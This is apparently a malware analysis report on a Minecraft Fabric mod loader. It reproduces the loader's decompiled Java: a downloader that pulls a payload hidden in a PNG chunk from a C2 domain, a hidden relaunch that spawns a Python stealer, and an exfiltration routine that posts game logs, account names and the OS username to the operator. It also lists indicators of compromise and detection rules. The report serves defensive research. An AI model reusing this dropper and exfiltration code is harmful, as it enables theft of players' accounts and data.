Retrievalh3

Dropper.downloadAndExtractPayload, cleaned
for (int attempt = 1; attempt <= 3; attempt++) {
try {
log("Download attempt " + attempt + "/3...");
String url = "https://" + c2Domain + getPayloadUrlPath();
HttpResponse r = RawHttpClient.httpGet(url, Map.of(
"User-Agent", "Mozilla/5.0 (Windows NT 10.0;Win64;x64) AppleWebKit/537.36 "
+ "(KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",
"Accept", "image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8",
"Accept-Language", "en-US,en;q=0.9",
"Sec-Fetch-Dest", "image",
"Sec-Fetch-Mode", "no-cors",
"Sec-Fetch-Site", "same-origin"));
if (r.statusCode != 200 || r.body.length == 0) {
log("Download failed: HTTP " + r.statusCode);
} else {
log("Downloaded " + r.body.length + " bytes, extracting from image...");
byte[] archive = extractPayloadFromPng(r.body);
if (archive == null) {
log("PNG extraction failed");
} else {
log("Extracted " + archive.length + " bytes from image, unpacking...");
int files = unzipPayload(archive);
log("Extracted " + files + " files");
if (Files.exists(basePath.resolve("python.exe"))) {
log("Portable runtime ready");
return true;
}
}
}
if (attempt < 3) Thread.sleep(2000L * attempt);
} catch (Exception e) {
log("Attempt " + attempt + " error: " + e.getMessage());
}
}
return false;

Three attempts with a linear backoff of two, four, and six seconds.

The request headers are the detail worth noting. Sec-Fetch-Dest: image on a request that returns a ZIP is a value chosen to satisfy logging systems that key on fetch metadata rather than content type. The Accept header is image-only for the same reason. The user agent is a complete and current Chrome string, which differs from the library default and is set specifically for this request.

The success condition is the presence of python.exe on disk, not the download returning 200. The loop verifies the extraction actually produced a runnable runtime before reporting success.

Payload pathh3

Dropper.getPayloadUrlPath, cleaned
return sb.append("/cdn/v2/9f").append("4e7a2c1b8d.png").toString();

Full request path: /cdn/v2/9f4e7a2c1b8d.png.

Steganographic extractionh3

The response is a valid PNG. The payload is stored in a chunk that is not a registered PNG chunk type.

Dropper.extractPayloadFromPng, verbatim
private byte[] extractPayloadFromPng(byte[] img) {
try {
if (img.length < 8) return null;
byte[] pngMagic = {-119, 80, 78, 71, 13, 10, 26, 10}; // 89 50 4E 47 0D 0A 1A 0A
for (int i = 0; i < 8; i++) {
if (img[i] != pngMagic[i]) return null;
}
int off = 8;
while (off + 8 <= img.length) {
int len = ((img[off] & 255) << 24)
| ((img[off + 1] & 255) << 16)
| ((img[off + 2] & 255) << 8)
| (img[off + 3] & 255);
byte t1 = img[off + 4], t2 = img[off + 5];
byte t3 = img[off + 6], t4 = img[off + 7];
if (t1 == 104 && t2 == 73 && t3 == 100 && t4 == 115) { // "hIds"
byte[] chunk = Arrays.copyOfRange(img, off + 8, off + 8 + len);
return inflateZlib(chunk);
}
off += 12 + len; // 4 length + 4 type + data + 4 CRC
}
return null;
} catch (Exception e) {
return null;
}
}

hIds, bytes 104 73 100 115, is not a valid PNG chunk type. The parser does not validate its CRC, because it is not a PNG chunk. It carries a zlib stream containing a ZIP archive.

This is the highest-value detection signal in the family. No legitimate PNG encoder emits a chunk with this type name, and the constraint is structural rather than a property of any particular sample.

Decompressionh3

Dropper.inflateZlib, verbatim
private byte[] inflateZlib(byte[] comp) {
try {
Inflater inflater = new Inflater();
inflater.setInput(comp);
ByteArrayOutputStream out = new ByteArrayOutputStream(comp.length * 5);
byte[] buf = new byte[131072];
while (!inflater.finished()
&& ((n = inflater.inflate(buf)) != 0 || !inflater.needsInput())) {
out.write(buf, 0, n);
}
inflater.end();
return out.toByteArray();
} catch (Exception e) {
return null;
}
}

Unpackingh3

Dropper.unzipPayload, cleaned
private int unzipPayload(byte[] data) throws IOException {
int count = 0;
byte[] buf = new byte[131072];
ZipInputStream zin = new ZipInputStream(new ByteArrayInputStream(data));
while (true) {
ZipEntry entry = zin.getNextEntry();
if (entry == null) break;
Path out = this.basePath.resolve(entry.getName());
if (entry.isDirectory()) {
Files.createDirectories(out);
} else {
Files.createDirectories(out.getParent());
try (BufferedOutputStream bos = new BufferedOutputStream(
new FileOutputStream(out.toFile()), 131072)) {
int n;
while ((n = zin.read(buf)) > 0) bos.write(buf, 0, n);
}
count++;
}
}
return count;
}

basePath.resolve(entry.getName()) is not validated against the destination directory. That is a directory traversal, and in this context it reads as operator carelessness rather than an attack directed at anyone, since the archive is attacker-supplied to the attacker’s own client.

Working directoryh3

Dropper.getWorkDir, cleaned
private Path getWorkDir() {
return Path.of(System.getenv("LOCALAPPDATA"), "Microsoft", "Windows", "NtProfileIndex");
}

NtProfileIndex is not a Windows directory. Microsoft\Windows under %LOCALAPPDATA% resembles legitimate application data. The naming is chosen to survive both a casual look and an automated allowlist that trusts the Microsoft path prefix.

Relaunchh2

ModEntry, relaunch sequence, cleaned
String javaHome = System.getProperty("java.home");
Path java = Path.of(javaHome, "bin", "javaw.exe");
if (!Files.exists(java)) {
java = Path.of(javaHome, "bin", "java.exe");
}
URI codeSource = ModEntry.class.getProtectionDomain().getCodeSource().getLocation().toURI();
Path self = Path.of(codeSource);
String appData = System.getenv("LOCALAPPDATA");
Path work = Path.of(appData, "Microsoft", "Windows", "NtProfileIndex");
Files.createDirectories(work);
ProcessBuilder pb = new ProcessBuilder(
java.toString(),
"-cp", self.toString(),
Dropper.class.getName(),
base64Config);
pb.redirectInput(ProcessBuilder.Redirect.from(new File("NUL")));
pb.redirectOutput(ProcessBuilder.Redirect.appendTo(work.resolve("_spawn.log").toFile()));
pb.redirectErrorStream(true);
pb.directory(work.toFile());
pb.start();

Four properties are worth isolating:

  • javaw.exe is preferred over java.exe, which suppresses the console window.
  • stdin is redirected from NUL, preventing the child from blocking on a console read.
  • stderr is folded into stdout and appended to a log file, so the child produces no visible output.
  • -cp points the new process at the loader itself, so the second stage is a plain main invocation.

Relaunching rather than continuing in-process buys a clean process identifier, allows the loader to be invoked with itself on the classpath, and produces a command line that is a strong detection signal on its own.

The standalone entrypoint performs the equivalent sequence with -restarted appended as the sentinel argument.

Second-stage executionh2

Dropper.spawnPythonStealer, cleaned
Path python = basePath.resolve("python.exe");
Path appHost = basePath.resolve("AppHost");
Path script = appHost.resolve("main.py");
if (!Files.exists(script)) {
log("ERROR: main.py not found");
return;
}
List<String> cmd = new ArrayList<>();
cmd.add(python.toString());
cmd.add(script.toString());
cmd.add("-u"); cmd.add(userId); // campaign identifier
cmd.add("--env"); cmd.add(loaderEnv); // Fabric | DoubleClick
if (tag != null && !tag.equals("null")) {
cmd.add("--tag"); cmd.add(tag);
}
if (mcInfo != null && !mcInfo.equals("null")) {
cmd.add("--mcInfo"); cmd.add(mcInfo);
}
if (prefireId != null && !prefireId.equals("null")) {
cmd.add("--prefireId"); cmd.add(prefireId);
}
ProcessBuilder pb = new ProcessBuilder(cmd);
pb.redirectInput(ProcessBuilder.Redirect.from(new File("NUL")));
pb.redirectOutput(ProcessBuilder.Redirect.appendTo(basePath.resolve("_stealer.log").toFile()));
pb.redirectErrorStream(true);
pb.directory(appHost.toFile());
Process child = pb.start();
log("Stealer spawned: pid=" + child.pid());

Resulting command line:

Second-stage invocation
<python-dir>\python.exe <work-dir>\AppHost\main.py
-u 0882e377-9660-4543-b568-0b9336e30155
--env Fabric
[--tag <tag>]
[--mcInfo <base64 session>]
[--prefireId <check-in identifier>]

The bundled python.exe is a portable runtime delivered inside the archive, which is why no interpreter installation is assumed on the host.

Optional arguments are guarded against the literal string "null" rather than against a null reference. That is a string-typing artefact of the hand-rolled JSON parser, which returns null as a string for absent keys.

What main.py does is recon. The loader supplies a valid session, a domain, a campaign identifier, a distribution tag, and the path to the Minecraft installation. Where the second stage goes from there is not answerable from this artefact.

Exfiltrationh2

Transmission of collected data is unconditional. It occurs on every exit path in the orchestrator, including when the payload download fails.

Dropper.exfiltrateToC2, cleaned
private void exfiltrateToC2() {
if (c2Domain == null) return;
try {
StringBuilder content = new StringBuilder();
if (gameDir != null) {
Path mcLog = Path.of(gameDir, "logs", "latest.log");
if (Files.exists(mcLog)) {
try {
String s = Files.readString(mcLog);
if (s.length() > 5_000_000) {
s = s.substring(0, 2_500_000)
+ "\n\n========== TRUNCATED ==========\n"
+ s.substring(s.length() - 2_500_000);
}
content.append(s);
} catch (Exception e) {
content.append("ERROR reading MC log: ").append(e.getMessage());
}
}
}
content.append("\n\n========== DETACHED LOG ==========\n").append(activityLog);
content.append("\n\n========== RUNTIME ==========\n");
content.append("jvm=").append(System.getProperty("java.version")).append("\n");
content.append("os=").append(System.getProperty("os.name")).append("\n");
content.append("user=").append(System.getProperty("user.name")).append("\n");
String url = "https://" + c2Domain + "/shard/submitMinecraftLog";
String body = "{\"userId\":\"" + jsonEscape(userId)
+ "\",\"content\":\"" + jsonEscape(content.toString())
+ "\",\"filename\":\"combined.log\""
+ ",\"mcUsername\":\"" + jsonEscape(mcUsername)
+ "\",\"mcUuid\":\"" + jsonEscape(mcUuid)
+ ",\"executionEnvironment\":\"" + jsonEscape(loaderEnv)
+ "\",\"Detached\":}";
RawHttpClient.httpPostWithHeaders(url, body, "application/json",
Map.of("X-Edge-Cache-Revalidate", "stale-if-error",
"X-Runtime-Env", "jre-embedded"));
} catch (Exception e) {
// no output
}
}

Payload structure:

Exfiltration request
{"userId":"0882e377-9660-4543-b568-0b9336e30155",
"content":"<see below>",
"filename":"combined.log",
"mcUsername":"<stolen username>",
"mcUuid":"<stolen uuid>",
"executionEnvironment":"Fabric",
"Detached":}

Content structure:

Exfiltration content block
<contents of <gameDir>/logs/latest.log, truncated if over 5 MB>
========== DETACHED LOG ==========
<the implant's own operational log>
========== RUNTIME ==========
jvm=<java.version>
os=<os.name>
user=<os.user.name>

Three elements carry most of the intelligence value.

The Minecraft client log is the primary collection target. latest.log is written by the game and the client, contains module lists, server addresses, and frequently chat. The 5 MB ceiling with head and tail retention is a deliberate compromise: preserve the most recent activity, which is usually the relevant end, while staying within server-side limits.

The detached log is the implant reporting on itself. Every download attempt, byte count, extraction result, spawn outcome, and exception is accumulated in an in-memory buffer and transmitted with the exfiltration. This yields a self-describing incident report on every run, including runs where the operation failed. For an analyst this is the highest-value artefact on disk.

os.user.name provides the Windows account name, which permits correlating a stolen game account with a specific machine and user.

Capability boundariesh2

Stated explicitly, because the family is described imprecisely in the environments it circulates in.

capabilitypresent in loader
command execution or C2 channelno
keyloggingno
screen captureno
clipboard accessno
browser credential theftno
arbitrary file collectionno, only the game log
registry persistenceno
scheduled task or service persistenceno
startup folder persistenceno
privilege escalationno
process injection into foreign processesno
reflective or secondary class loadingno
encryption or encoding of trafficno, only base64 for its own config
anti-analysis or anti-debugno

The process model is a relaunch of its own JVM and a child process it owns directly. There is no reflective class loading, no URLClassLoader, no second executable. The entire payload chain is data: retrieve a PNG, extract a chunk, decompress, unpack, execute a script.

The absence of persistence has implications in both directions. There is no registry key or scheduled task to enumerate, which lowers the detection surface. It also means the implant remains dormant on disk until the game is launched again.

Indicators of compromiseh2

Networkh3

indicatorcontext
thisisafalsepositive.sthardcoded fallback C2
/shard/prefireMccheck-in endpoint, carries the access token
/shard/submitMinecraftLogexfiltration endpoint
/cdn/v2/9f4e7a2c1b8d.pngpayload delivery path
X-Edge-Cache-Revalidate: stale-if-errorpresent on exfiltration
X-Runtime-Env: jre-embeddedpresent on exfiltration
eth_call JSON-RPC issued by a game processno game client issues JSON-RPC
TCP to 1.1.1.1:443 with SNI cloudflare-dns.com from a game processDNS over HTTPS resolution
Accept: application/dns-message with Host: cloudflare-dns.comDoH request format

The two custom headers are the strongest network indicator available because they are operator-defined rather than standard, and they appear on every exfiltration.

Blockchainh3

indicatorvalue
contract address0x9c0a507300fd902787bb193d80fca5ce6e1bff9a
function selector0xce6d41de
chainPolygon PoS

Hosth3

indicatortype
%LOCALAPPDATA%\Microsoft\Windows\NtProfileIndex\directory
...\NtProfileIndex\python.exeportable runtime
...\NtProfileIndex\AppHost\main.pysecond stage
...\NtProfileIndex\_spawn.logloader output
...\NtProfileIndex\_stealer.logsecond-stage output
PNG file containing a chunk named hIdsfile
javaw.exe -cp <jar> <entry class> <base64>command line
an additional JAR in the Minecraft mods directoryartefact
outbound JSON-RPC eth_call from a JVM under a game directorybehaviour

Campaignh3

identifiervalue
campaign identifier0882e377-9660-4543-b568-0b9336e30155
distribution tagsFabric, DoubleClick
default tag valueunknown

The campaign identifier is stable across samples and is the best join key for correlating this loader with other tooling from the same operator.

Two further identifiers exist in the sample and are deliberately not reproduced here, being specific to the artefact that was reversed rather than to the family’s behaviour. Detection does not depend on them: the structural indicators above cover the same ground, and with better reliability.

Detection strategyh2

Filesystemh3

The directory is the decisive artefact. Microsoft\Windows\NtProfileIndex under %LOCALAPPDATA% does not exist in any Windows build. Its presence is conclusive and requires no further analysis.

Payload inspectionh3

Parsing a PNG chunk list and testing for the type name hIds is a deterministic test with no false positives, since no standard encoder produces it. This identifies the second stage even where the loader has been deleted, which is the common case once an operator or a user reacts.

A rule along these lines is sufficient:

Payload detection logic, language agnostic
open file as PNG
walk chunk list from offset 8:
read 4-byte big-endian length
read 4-byte type
if type == "hIds":
read `length` bytes
if zlib-inflates to a valid ZIP local file header (PK\x03\x04):
report malicious
advance 12 + length

Networkh3

An eth_call issued by a process descended from a game launcher or from a JVM running inside a mods directory carries no benign interpretation. That gives a durable detection point which is independent of the current C2 domain, since the contract and selector are fixed while the domain rotates.

Contract monitoring is the second option. Alerting on state changes to 0x9c0a507300fd902787bb193d80fca5ce6e1bff9a provides advance notice of a domain rotation rather than after-the-fact confirmation.

Processh3

javaw.exe executing with -cp pointing at a JAR located in a Minecraft installation is not a normal operation for any legitimate application. It warrants an alert on its own merits.

Static analysish3

Because there are no string literals, signature development must be structural. Three properties survive the obfuscation:

  • The package name net.fabric.
  • The reflection member names compared as string literals inside SessionReflector. These necessarily reach the constant pool, because they are operands to String.equals.
  • The class-loading call to a Minecraft client name.

A rule matching the member-name pair field_1983 alongside getAccessToken inside a class implementing ModInitializer will identify this loader, and it will survive re-obfuscation of the string constants, because removing those literals would require abandoning support for multiple mapping schemes.

Responseh3

If NtProfileIndex is found on a host, the associated account session should be revoked before remediation proceeds. The access token was transmitted on the first HTTP request, before payload delivery began, and the check-in fires even when every subsequent stage fails. Reinstalling the game client does not remediate the account compromise.

Open questionsh2

Two items are unresolved and both are worth pursuing.

The second stage is not present in the loader. Its contents would establish the actual account and data theft capability, as distinct from what the loader itself performs.

The contract has not been read. Its current storage value is the live C2 domain, and its storage history is a record of every domain the operation has used. Both are directly obtainable from a public chain.

A third item is unresolved but lower priority. The loader ships two resources, fabric.mod.json and assets/vwvmqmfx.cfg. Both are binary rather than text and neither is referenced from any code path. Their purpose cannot be determined from the loader alone and they may relate to a build stage not included in this artefact.


The loader is small enough to analyse completely, which is unusual for this class of malware and makes the result unusually complete. The finding that outlasts the sample is the blockchain-based domain resolution. It moves the operator’s control plane onto public infrastructure that no hosting provider can act on, and it leaves a permanent record of every address used, which is a problem for the operator rather than for the defenders.